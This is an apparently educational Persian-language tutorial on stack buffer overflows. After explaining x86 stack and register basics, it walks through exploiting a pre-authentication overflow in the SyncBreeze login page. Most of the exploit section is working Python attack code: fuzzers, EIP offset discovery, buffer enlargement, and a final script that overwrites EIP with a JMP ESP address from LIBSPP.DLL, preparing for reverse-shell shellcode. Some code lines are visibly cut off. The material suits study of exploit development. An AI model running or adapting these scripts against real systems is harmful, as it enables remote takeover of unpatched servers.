آسیبپذیریهای Memory BufferOver Flows

BufferOver flows
memory bufferover flows از حملات و آسیبپذیریهای رایج سطح حافظه میباشد. در این پست، ابتدا نحوه استفاده یک برنامه از حافظه بررسی و نحوه وقوع سر ریز بافر و استفاده از آن برای کنترل جریان عادی برنامه نشان داده شده است. درک شرایطی که این آسیبپذیری را ممکن میکند برای نوشتن Exploit مناسب برای بهرهبرداری از این آسیبپذیری ضروری است.
معماری x86
برای درک نحوه وقوع تخریب حافظه، نیاز است حافظه مربوط به برنامه و نحوه اجرای برنامه در سطح پردازنده را به درستی درک و با تعدادی از تعاریف پایهای آشنا شویم. هنگامی که یک برنامه باینری اجرا میشود، برنامه حافظه مورد نیاز خود را به روشی کاملاً اختصاصی در مرزهای حافظه مورد استفاده توسط کامپیوترهای مدرن، تخصیص میدهد. شکل زیر نحوه تخصیص حافظه پردازشی در ویندوز را بین کمترین آدرس حافظه (0x00000000) و بالاترین آدرس حافظه (0x7FFFFFFF) استفاده شده توسط برنامهها نشان میدهد.

اگرچه چندین قسمت حافظه در این شکل بیان شده است، اما ما فقط بر روی پشته تمرکز خواهیم کرد.
پشته (Stack)
هنگامی که یک نخ (Thread) در حال اجرا است، کد را از داخل خود برنامه یا از کتابخانههای مربوطه (DLL) اجرا میکند. این نخ برای توابع، متغیرهای محلی و اطلاعات کنترلی برنامه خود به یک قسمت دادهای کوتاه مدت نیاز دارد که به پشته معروف است. برای تسهیل اجرای مستقل چندین نخ در برنامههای چند نخی (Multi Thread)، هر نخ در یک برنامه در حال اجرا، پشته مخصوص به خود را دارد.
در برنامه حافظه Stack به عنوان یک ساختار LIFO یا Last-In First-Out توسط CPU در نظر گرفته میشود. این اساسا به این معنی است که هنگام دسترسی به پشته، مواردی که در بالای پشته قرار داده شده باشند (“Pushed”) ابتدا برداشته میشوند (“Popped”). معماری x86 دستورالعملهای اختصاصی PUSH و POP برای افزودن یا برداشتن ترتیبی دادهها از پشته توسعه داده شده است.
مکانیک بازگشت توابع
هنگامی که کد درون یک نخ، یک تابع را فراخوانی میکند، باید بداند که پس از تکمیل تابع به کدام آدرس بازگردد. این آدرس بازگشت (همراه با پارامترهای تابع و متغیرهای محلی) روی پشته ذخیره میشود. این مجموعه از دادهها با یک فراخوانی تابع مرتبط هستند و در بخشی از حافظه پشته که به عنوان Frame پشته شناخته میشود، ذخیره میشوند.

هنگامی که اجرای یک تابع به پایان میرسد، از آدرس بازگشت موجود در پشته برای بازگرداندن جریان اجرا به برنامه اصلی یا فراخوانی یک تابع استفاده میشود.
CPU Registers (ثباتهای CPU)
CPUها برای اجرای کارآمد کد برنامه، مجموعهای از 9 رجیستر 32 بیتی (در پلتفرمهای 32 بیتی) را نگهداری و استفاده میکند. این رجیسترها مکانهای ذخیره سازی کوچک و بسیار پر سرعت CPU هستند که از طریق آنها میتوان دادهها را به طور موثرتری خواند یا دستکاری کرد. این 9 رجیستر شامل نامگذاری برای بیتهای بالاتر و پایینتر میباشند که در جدول زیر آمده است.

نامهای رجیسترها اولین بار برای معماریهای 16 بیتی ایجاد شد و سپس با ظهور پلتفرمهای 32 بیتی (x86) گسترش یافت. از این رو حرف “E” در کلمات اختصاری رجیسترها وجود دارد. هر ثبات ممکن است دارای یک مقدار 32 بیتی (مقادیر بین O و OxFFFFFFFF را مجاز میداند) یا مقادیر 16 یا 8 بیتی در زیر ثباتها باشد.

رجیسترهای عمومی
رجیسترهای عمومی ازجمله EAX ،EBX ،ECX ،EDX ،ESI و EDI اغلب به عنوان رجیسترهایی برای ذخیره دادههای موقتی استفاده میشوند. در زیر تعدادی از رجیسترهای اصلی که برای اهداف ما نیاز است شرح داده شده است.
- EAX (جمع کننده): دستورالعملهای ریاضی و منطقی
- EBX (پایه): اشارهگر پایه برای آدرسهای حافظه
- ECX (شمارنده): شمارنده حلقه، شیفت و چرخش
- EDX (داده): آدرس ورودی و خروجی، ضرب و تقسیم
- ESI (ایندکس مبدا): آدرس اشارهگر داده و منبع در عملیاتهای کپی string
- EDI (ایندکس مقصد): آدرسدهی اشارهگر دادهها و مقصد در عملیات کپی رشتهای
ESP-اشارهگر پشته
همانطور که قبلا گفته شد، پشته برای ذخیره سازی دادهها، اشارهگرها و آرگومانها استفاده میشود. از آنجا که پشته پویا است و در حین اجرای برنامه دائما تغییر میکند، ESP-اشارهگر پشته، با ذخیره سازی یک اشارهگر در آن، آخرین مکان مورد اشاره در پشته (بالای پشته) را ردیابی میکند.
EBP-اشارهگر پایه
از آنجا که پشته در هنگام اجرای یک نخ در مد ثابت است، یافتن فریم پشته که آرگومانهای مورد نیاز، متغیرهای محلی و آدرس بازگشت را ذخیره میکند، میتواند برای یک تابع دشوار باشد. EBP، اشارهگر پایه، با ذخیره یک اشارهگر در بالای پشته، هنگامی که تابعی فراخوانی میشود، این مسئله را حل میکند. با دسترسی به EBP، یک تابع میتواند هنگام اجرا به راحتی از فرمت پشته خود اطلاعات را ارجاع دهد.
EIP-اشارهگر دستورالعمل
EIP، اشارهگر دستورالعمل، یکی از مهمترین رجیسترهاست که همیشه به دستورالعمل کد بعدی که باید اجرا شود، اشاره دارد. از آنجا که EIP اساسا جریان یک برنامه را هدایت میکند، بنابراین هنگام استفاده از هرگونه آسیب پذیری تخریب حافظه مانند سرریز بافر، به عنوان هدف اصلی یک مهاجم قرار میگیرد.
Windows Buffer Overflows
در ادامه نحوه شناسایی و بهرهبرداری از آسیبپذیری نرمافزار SyncBreeze را بررسی خواهیم کرد. اگرچه آسیبپذیری این نرمافزار قبلا شناسایی و اصلاح شده است، ولی در اینجا تمام مراحل لازم برای شناسایی و بهرهبرداری از آسیبپذیری سرریز حافظه را برای آن انجام خواهیم داد.
در این فرآیند به چندین گام نیاز داریم. در گام اول بایستی وجود آسیبپذیری را بدون دسترسی به کد برنامه شناسایی کنیم. در گام دوم بایستی ورودی خود را برای کنترل رجیسترهای حیاتی CPU ایجاد نماییم. در آخر نیز نیاز داریم محتوای حافظه را به گونهای تغییر دهیم که امکان اجرای کد مخرب بر روی آن را بدست بیاوریم.
شناسایی آسیبپذیری
به طور کلی سه روش برای شناسایی آسیبپذیری در برنامههای کاربردی وجود دارد. در صورت امکان، بازبینی کد برنامه سادهترین روش برای شناسایی آسیبپذیری میباشد. ولی در صورتی که به کد دسترسی نداشته باشیم، میتوانیم از تکنیکهای مهندسی معکوس یا fuzzing برای یافتن نقاط آسیبپذیر استفاده کنیم. ما در اینجا از تکنیک fuzzing برای شناسایی آسیبپذیری موجود در SyncBreeze استفاده خواهیم کرد.
هدف از fuzzing دادن ورودیهایی به برنامه است که به درستی کنترل نشده و منجر به خرابی برنامه میشود. در ابتداییترین شکل ممکن، این ورودی میتواند از طریق برنامهنویسی تولید میشود. اگر در نتیجه پردازش این دادهها برنامه دچار خرابی شود. این موضوع ممکن است وجود یک آسیب پذیری بالقوه قابل بهره برداری، مانند سرریز بافر را نشان دهد.
انواع مختلفی از ابزارها و تکنیکهای fuzzing وجود دارد که میتوانیم براساس نیازهای خاص خود استفاده کنیم. یک ابزار fuzzer که از ابتدا وردیهای نادرست برای برنامه کاربردی ایجاد و از مواردی مانند فرمت فایل یا مشخصات پروتکل شبکه تبعیت میکند به عنوان fuzzer مبتنی بر نسل در نظر گرفته میشود. یک فازر مبتنی بر جهش نیز با استفاده از تکنیکهایی مانند bit-flipping برای ایجاد یک نوع نادرست از ورودی اصلی ایجاد میکند.
به طور کلی یک ابزار Fuzzing که از ورودیهای برنامه کاربردی آگاهی داشته باشد به عنوان Fuzzer هوشمند شناخته میشود.
Fuzzing پروتکل HTTP
در سال 2017، یک آسیب پذیری سرریز بافر در مکانیزیم ورود به برنامه SyncBreeze در نسخه 10.0.28 کشف شد. در این آسیبپذیری به طور خاص، از قسمت نام کاربری درخواست ورود متد POST HTTP، میتوان برای از کار انداختن برنامه استفاده کرد. از آنجا که برای ایجاد این آسیب پذیری به مجوزهای کاربری نیازی نیست، بنابراین این یک سرریز بافر قبل از احراز هویت محسوب میشود. برای ادامه عملیات Fuzzing گامهای زیر را طی میکنیم.
گام اول: نصب و انجام تنظیمات نرم افزار SyncBreeze

گام دوم: بررسی ترافیک HTTP مربوط به لاگین با مجوزهای نامعتبر
ابتدا با استفاده از Wireshark بر روی سیستم Kali ترافیک مربوط به ورود با مجوز نامعتبر به SyncBreeze را بر روی پورت TCP 80 کپچر میکنیم.
بررسی ترافیک کپچر شده نشان میدهد که three-way handshake مربوط به TCP با ترافیک HTTP همراه شده است. عکس زیرجریان TCP مربوط به ارتباط را نشان میدهد.

پاسخ HTTP نشان میدهد نام کاربری و رمز ورود نامعتبر هستند، اما این موضع اصلا مهم نیست زیرا آسیب پذیری مورد بررسی ما قبل از احراز هویت وجود دارد. ما میتوانیم این ارتباط HTTP را تکرار کرده و با یک اسکریپت Python Proof of Concept (PoC) شبیه به موارد زیر شروع به ساخت fuzzer خود کنیم.
گام سوم نوشتن Fuzzer
#!/usr/bin/python
import socket
try:
print(" \nSending evil buffer ... ")
size = 100
inputBuffer ="A"* size
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
print("Done...")
s.close()
except:
print("Could not connect!")
از آنجا که میدانیم با یک آسیب پذیری سرریز بافر سر و کار داریم، فازی را ایجاد میکنیم که بتواند چندین درخواست HTTP POST با نامهای کاربری طولانی تر ارسال کند.
#!/usr/bin/python
import socket
import time
import sys
size= 100
while(size < 2000):
try:
print(" \nSending evil buffer with %s bytes" % size ")
inputBuffer ="A" * size
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
size+= 100
time.sleep(10)
except:
print("Could not connect!")
sys.exit()

در حلقه while بالا، توجه داشته باشید که در طی تلاش برای ورود به سیستم، طول قسمت نام کاربری را هربار 100 حرف افزایش میدهیم. سپس، تاخیر 10 ثانیهای برای متد HTTP POST در نظر میگیریم تا روند را کندتر کرده و به وضوح نشان دهیم که HTTP POST باعث ایجاد این آسیب پذیری است.
قبل از اجرای fuzzer، باید Debugger را به پروسه مربوط به SyncBreeze وصل کنیم تا در هنگام بروز مشکل آن را نشان دهد. فقط توجه داشته باشید که debugger را با مجور Administrator اجرا کنید.

اتصال debugger به یک برنامه باعث توقف آن میشود، بنابراین با فشار دادن F9 اجرای آن از سر گرفته میشود.
هنگامی که بافر نام کاربری ما به طول تقریبی 800 بایت میرسد، Debugger هنگام اجرای کد در آدرس 41414141، با خطا مواجه میشود.

در حال حاضرFuzzer ساده ما آسیبپذیری موجود در برنامه SyncBreeze را نشان داد! این نوع آسیب پذیری بیشتر به دلیل عملکرد حافظه مانند کپی یا جابجایی است که دادههای خارج از منطقه حافظه مورد نظر خود را بازنویسی میکند. هنگامی که بازنویسی روی پشته رخ میدهد، منجر به سرریز بافر پشته میشود. این ممکن است کاملا بی ضرر به نظر برسد، اما میتوانیم با استفاده از آن CPU را فریب داده و هر کدی را که میخواهیم اجرا نماییم.
Fuzzer ما باعث توقف سرویس شده و نیاز است برای ادامه کار آن را مجددا استارت نماییم.
بهرهبرداری از آسیبپذیری Buffer Overflow
کشف یک آسیبپذیری قابل بهرهبرداری هیجان انگیز است، اما توسعه یک بهرهبرداری مفید و موفقیت آمیز برای به دست آوردن دسترسی shell، جالبتر و کاربردیتر است. برای این منظور، اولین هدف ما کنترل رجیستر EIP است.
بررسی اجمالی DEP ،ASLR و CFG
در حال حاضر چندین مکانیزم محافظتی طراحی شده است تا کنترل EIP برای دستیابی و بهرهبرداری دشوارتر شود. مایکروسافت چندین مورد از این محافظتها را توسعه داده است، به طور خاص مکانیزم پیشگیری از اجرای دادهها (DEP)، مکانیزم تصادفیسازی چیدمان فضای آدرس (ASLR) و گارد محافظ کنترل (CFG).
DEP
DEP مجموعهای از فناوریهای سختافزاری و نرمافزاری است که برای جلوگیری از اجرای کد مخرب بر روی سیستم، بررسیهای بیشتری بر روی حافظه انجام میدهد. مزیت اصلی DEP برای کمک به جلوگیری از اجرای کد از صفحات داده با ایجاد یک استثنا در هنگام چنین تلاشهایی است.
ASLR
ASLR آدرس پایه مربوط به برنامهها و DLLهای اجرا شده درهر بار بوت شدن سیستم عامل را تصادفی میکند. در سیستم عاملهای قدیمی ویندوز مانند XP که مکانیزم ASLR در آن پیادهسازی نشده است، همه DLLها هر بار در یک آدرس حافظه مشخص بارگیری میشوند و کار بهره برداری از آنها را بسیار سادهتر میکند. هنگامی که این مکانیزم با DEP همراه شود، محافظت بسیار زیادی را در برابر بهرهبرداری ایجاد میکند.
CFG
در نهایت CFG به عنوان یک پیادهسازی مایکروسافت از کنترل یکپارچگی جریان، اعتبار سنجی شاخههای کدهای غیرمستقیم را انجام میدهد و از رونویسی نشانگرهای مربوط به توابع جلوگیری میکند.
متاسفانه نسخه 10 SyncBrezze بدون استفاده از این مکانیزمهای کامپایل شده است. بنابراین هیچ مکانیزمی برای جلوگیری از این بهرهبرداری وجود ندارد.
کد تکرار اجرای فرایند Fuzzinng
بر اساس خروجی Fuzzer، هنگامی که نام کاربری با طول حدود 800 بایت از طریق درخواست HTTP POST ارسال شود، سرریز بافر اتفاق میافتد. اولین کار ما در فرآیند نوشتن Exploit، نوشتن یک اسکریپت ساده است که بدون اینکه هر بار fuzzer را اجرا کنیم، آسیبپذیری شناسایی شده را تکرار میکند.
!/usr/bin/python
import socket
try:
print (" \nSending evil buffer … ")
size = 800
inputBuffer ="A" * size
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 F>
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.>
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")
کنترل رجیستر EIP
به دست آوردن کنترل رجیستر EIP یک گام اساسی در هنگام بهرهبرداری از آسیبپذیریهای نوع تخریب حافظه است. کنترل رجیستری EIP مشابه مهار کردن اسب است. ما میتوانیم از آن برای کنترل جهت یا جریان برنامه استفاده کنیم. با این حال، در این مرحله فقط میدانیم که برخی از بخشهای ناشناخته بافر شامل EIP با استفاده از مقادیر A بازنویسی شده است.

قبل از اینکه بتوانیم یک آدرس مقصد معتبر را در اشارهگر دستورالعمل بارگذاری کنیم و جریان اجرا را کنترل کنیم، باید دقیقاً بدانیم، کدام قسمت از بافر ما در EIP قرار دارد. برای انجام این کار دو روش معمول وجود دارد.
روش تجزیه و تحلیل درخت باینری
در این روش به جای 800تا A به تعداد 400تا A و 400تا B ارسال میکنیم. اگر EIP توسط B رونویسی شود، متوجه میشویم که چهار بایت مربوط به EIP در نیمه دوم بافر قرار دارد. سپس 400تا B را به 200تا B و 200تا C تغییر میدهیم و دوباره بافر را ارسال میکنیم. اگر EIP توسط C رونویسی شود، متوجه میشویم که چهار بایت EIP در محدوده 600-800 بایت قرار دارند. ما تقسیم و بازنویسی بافر را تا جایی ادامه میدهیم که به چهار بایت دقیق EIP برسیم. از نظر ریاضی، این اتفاق باید در هفت تکرار رخ دهد.
استفاده از رشته تکرار نشدنی
برای شناسایی موقعیت چهار بایت EIP راهی سریعتر نیز وجود دارد. ما میتوانیم از یک رشته به اندازه کافی بلند که متشکل از تکههای 4 بایتی تکرار نشدنی است به عنوان ورودی مبهم خود استفاده کنیم. سپس، هنگامی که EIP با 4 بایت از رشته ما رونویسی شد، میتوانیم از توالی منحصر به فرد آنها استفاده و مکان دقیق قرار گرفتن EIP در بافر ورودی را مشخص کنیم. اگرچه ممکن است در ابتدا درک آن کمی دشوار باشد، اما وقتی این تکنیک را به کار میبریم بسیار ساده میباشد.
در اینجا از یک اسکریپت روبی (pattern_create.rb) موجود در Metasploit برای ایجاد رشته مورد نیاز و طبق دستورات زیر استفاده میکنیم.

برای ایجاد رشته مورد نیاز از دستور زیر استفاده میکنیم. پارامتر l طول رشته مورد نیاز ما را تعریف میکند.
msf-pattern_create -l 800
مرحله بعدی بروزرسانی کد پایتون برای اجرای مجدد Exploit میباشد.
!/usr/bin/python
import socket
try:
print (" \nSending evil buffer … ")
inputBuffer ="Aa0Aa1Aa2Aa3Aa4A...a5Aa6Aa7Aa8A"
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 F>
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.>
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")

بعد از اجرای مجدد Exploit، رجیستر EIP با مقادیر 42306142 که نمایش هگزادسیمال چهار حرف “B0aB” میباشد، رونویسی شده است. با دانستن این موضوع، میتوانیم از اسکریپت pattern_offset.rb برای تعیین جابجایی این چهار بایت خاص در رشته خود استفاده کنیم.

!/usr/bin/python
import socket
try:
print (" \nSending evil buffer … ")
filler= "A" * 780
eip = "B" * 4
buffer= "C" * 16
inputBuffer = filler+ eip + buffer
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 F>
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.>
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")

عکس بالا نشان میدهد که ما کنترل کامل EIP را بدست گرفتهایم.
تعیین مکان برای کد shell
در این مرحله، ما میدانیم که میتوانیم آدرس دلخواهی را در EIP قرار دهیم، اما نمیدانیم از چه آدرس واقعی استفاده کنیم. با این حال، تا وقتی متوجه نشویم که کجا میتوانیم جریان اجرا را هدایت کنیم، نمی توانیم یک آدرس انتخاب کنیم. بنابراین، ما ابتدا بر روی کد اجرایی که میخواهیم سیستم هدف اجرا کند تمرکز خواهیم کرد و مهمتر از همه اینکه این کد در کجای حافظه قرار میگیرد.
در ایده آلتربن حالت، ما میخواهیم که سیستم هدف برخی از کدهای انتخابی ما مانند گرفتن shell معکوس را اجرا کند. میتوانیم این کد را به عنوان بخشی از بافر ورودی که باعث تخرب حافظه میشود، قرار دهیم. ما از فریمورک Metasploit برای تولید payload کد shell خود استفاده خواهیم کرد. با نگاهی به رجیسترهای پس از آخرین خرابی، متوجه میشویم که رجیستر ESP به بافر C اشاره میکند.
از آنجایی که ما میتوانیم به راحتی از طریق آدرس ذخیره شده در ESP به این مکان دسترسی پیدا کنیم، به همین دلیل این یک مکان مناسب برای کد shell ماست. نگاهی دقیق تر به پشته در زمان خرابی نشان میدهد که چهار C اول از بافر ما به آدرس 0x00637458 اشاره دارد و ESP که در آدرس 0x0063745C ذخیره میشود به چهار C بعدی از بافر اشاره دارد.

اضافه کردن به فضای بافر
طبق تجربه، میدانیم که یک Payload استاندارد برای shell معکوس تقریباً به 350-400 بایت فضا نیاز دارد. با این حال، لیست بالا نشان میدهد که فقط شانزده C در بافر وجود دارد که تقریباً فضای کافی برای کد ما نیست. سادهترین راه حل این مشکل این است که سعی کنیم طول بافر را از 800 بایت به 1500 بایت افزایش دهیم. قبل ادامه کار بایستی ببینیم که آیا این کار فضای کافی برای shell را بدون تغییر شرایط سرریز بافر یا تغییر ماهیت خرابی فراهم می کند یا نه.
!/usr/bin/python
import socket
try:
filler= "A" * 780
eip = "B" * 4
offset= "C" * 4
buffer= "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer =filler + eip + offset + buffer
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 F>
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.>
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")

پس از ارسال بافر طولانیتر، خرابی مشابهی میتوان مشاهده کرد. با این حال، میبینیم که ESP یک آدرس متفاوت را نشان میدهد. همانطور که در شکل نشان داده شده است. این ترفند کوچک فضای قابل توجهی برای ما فراهم کرد. با این کار در حال حاضر 704 بایت فضای خالی برای کد shell خود داریم.
بررسی بدکارکترها (Bad Characters)
بسته به برنامه، نوع آسیبپذیری و پروتکلهای مورد استفاده، ممکن است کاراکترهای خاصی وجود داشته باشد که “بد” قلمداد شوند و نباید از آنها در حافظه داخلی، آدرس برگشت یا کد shell استفاده شود. یک مثال از یک کاراکتر بد معمول، به خصوص در سرریز بافر ناشی از عملیات کپی رشته بدون کنترل، بایت null یا 0x00 است. این کاراکتر به عنوان یک کاراکتر بد در نظر گرفته میشود زیرا بایت null برای خاتمه دادن به یک رشته در زبانهای سطح پایین مانند C وC ++ استفاده میشود. این باعث میشود که عملیات کپی رشته به پایان برسد، و باعث کوتاه شدن بافر ما در اولین بایت null شود.
علاوهبراین، از آنجا که ما در حال ارسال Exploit خود به عنوان بخشی از درخواست HTTP POST هستیم. باید از مقدار 0x0D، به عنوان کاراکتر بازگشت، که به معنی پایان یک فیلد HTTP است، جلوگیری کنیم.
هدایت جریان اجرا
در این مرحله، ما کنترل کامل رجیستر EIP را در اختیار داریم و میتوانیم کد shell خود را در یک فضای حافظه جای دهیم که از طریق رجیستر ESP به راحتی در دسترس است. ما همچنین میدانیم که کدام کاراکترها برای بافر ما بیخطر یا خطرناک هستند. وظیفه بعدی ما یافتن راهی برای هدایت جریان اجرا به کد shell واقع در آدرس حافظه است که رجیستر ESP در هنگام خرابی به آن اشاره میکند.
سادهترین راه برای هدایت جریان اجرا، جایگزین کردن Bهای مربوط به EIP با آدرسی است که در هنگام خرابی در ESP ثبت میشود. با این حال، همانطور که قبلاً اشاره کردیم، مقدار ESP در هر سرریز حافظه تغییر میکند. در هنگام اجرای مجدد برنامهها خصوصاً در برنامههای چند نخی مانند SyncBreeze، غالبا آدرس پشته تغییر میکند. زیرا هر نخ، ناحیه پشته اختصاصی خود در حافظه را دارد که توسط سیستم عامل به آن اختصاص داده شده است.
بنابراین، هارد کد کردن یک آدرس پشته خاص، راهی مطمئن برای رسیدن به بافر مربوط به کد shell ما نخواهد بود.
پیدا کردن آدرس برگشت
ما میتوانیم کد shell خود را در آدرسی که ESP به آن اشاره میکند ذخیره کنیم، اما برای اجرای آن کد به یک روش مطمئن نیاز داریم. یک راه حل، استفاده از دستورالعمل JMP ESP است که همانطور که از نامش پیداست، در هنگام اجرا به آدرسی که ESP به آن اشاره میکند، می پرد. اگر بتوانیم یک آدرس ثابت و قابل اعتماد پیدا کنیم که حاوی این دستورالعمل باشد، میتوانیم EIP را به این آدرس هدایت و در زمان سرریز حافظه، دستورالعمل JMP ESP اجرا شود. این پرش غیرمستقیم، جریان اجرای برنامه را به کد shell ما هدایت میکند.
بسیاری از کتابخانههای مورد پشتیبانی در ویندوز حاوی این دستورالعمل معمول میباشند. اما باید مرجعی را پیدا کنیم که معیارهای خاصی را داشته باشد. معیار اول این است که، آدرسهای مورد استفاده در کتابخانه باید ثابت باشند، که کتابخانههای کامپایل شده با پشتیبانی ASLR، این موضع را از بین میبرد. معیار دوم اینکه، آدرس دستورالعمل نباید حاوی هیچ یک از بد کاراکترها باشد که باعث آسیب به Exploit شود، زیرا آدرس مورد نظر بخشی از بافر ورودی ما خواهد بود.
برای شروع جستجوی آدرس بازگشت میتوانیم از اسکریپت Immunity Debugger mona.py که توسط تیم Corelan نوشته شده است، استفاده کنیم. ابتدا اطلاعات مربوط به تمام DLLها (یا ماژولها) که توسط SyncBreeze در فضای حافظه با ماژولهای mona بارگذاری شدهاند را لیست میکنیم.

ستونهای این خروجی شامل مکان حافظه فعلی، اندازه ماژول، چندین پرچم، نسخه ماژول، نام ماژول و مسیر میباشد. از طریق پرچمهای موجود در این خروجی، متوجه میشویم که قابلیت اجرایی syncbrs.exe دارای SafeSEH (بازنویسی کنترلکننده استثنای ساختاری، یک روش محافظت از حافظه پیشگیری از exploit)، ASLR و NXCompat (حفاظت DEP) غیرفعال شده است.
به عبارت دیگر، برنامه اجرایی با هیچ طرح محافظت از حافظه کامپایل نشده است و همیشه با اطمینان در همان آدرس بارگیری میشود. این موضوع آن را برای اهداف ما ایده آل میکند.
با این حال، Suyncbreeze همیشه در آدرس پایه 0x00400000 بارگیری میشود. این آدرس به این معنی است که آدرسهای همه دستورالعملها حاوی کاراکترهای خالی هستند، که برای بافر ما مناسب نیستند.
پیدا کردن DLL مناسب
با جستجوی مجدد خروجی متوجه میشویم که LIBSPP.DLL با نیازهای ما نیز مطابقت دارد و به نظر نمیرسد که محدوده آدرس حاوی کاراکترهای بد باشد. اکنون باید آدرس یک دستورالعمل JMP ESP که به طور طبیعی اتفاق میافتد را در این ماژول پیدا کنیم.
ما میتوانیم از دستورات محلی در Immunity Debugger برای جستجوی دستورالعمل JSP ESP خود استفاده کنیم، اما جستجو باید در چندین منطقه داده در داخل DLL انجام شود، در عوض، ما میتوانیم از mona.py برای جستجوی کامل برای نمایش باینری یا هگزادسیمال استفاده کنیم. برای یافتن معادل کدگذاری JMP ESP ، میتوانیم از اسکریپت روبی Metasploit NASM Shell msfnasm_shell استفاده کنیم.

الان میتوانیم JMP ESP را با استفاده از نمایش کد hex کد (0xFFE4) در تمام بخشهای LIBSSP.DLL با استفاده از دستور mona.py find جستجو کنیم.
!mona find -s "\xff\xe4" -m "libspp.dll"

!/usr/bin/python
import socket
try:
print(" \nSending evil buffer … ")
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")
